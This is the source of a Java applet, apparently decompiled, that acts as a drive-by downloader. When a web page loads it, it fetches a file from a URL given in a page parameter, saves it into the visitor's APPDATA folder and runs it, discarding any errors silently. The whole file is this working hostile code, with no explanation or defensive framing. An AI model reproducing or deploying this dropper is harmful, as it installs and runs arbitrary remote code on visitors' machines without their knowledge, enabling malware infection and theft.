import java.applet.Applet;
import java.applet.AppletContext;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.net.URL;
import java.net.URLConnection;
public class Java extends Applet
{
public Java()
{
}
public void init()
{
String s = getParameter("file");
String s1 = System.getenv("APPDATA");
Object obj = getParameter("r");
byte abyte0[] = new byte[1024];
try
{
URL url = new URL(getParameter("lol"));
FileOutputStream fileoutputstream = new FileOutputStream((new StringBuilder()).append(s1).append(s).toString());
URLConnection urlconnection = url.openConnection();
InputStream inputstream = urlconnection.getInputStream();
int i;
while((i = inputstream.read(abyte0, 0, abyte0.length)) != -1)
{
fileoutputstream.write(abyte0, 0, i);
}
inputstream.close();
fileoutputstream.close();
Runtime runtime = Runtime.getRuntime();
runtime.exec((new StringBuilder()).append(s1).append(s).toString());
obj = new URL((String)obj);
}
catch(Exception exception)
{
return;
}
}
}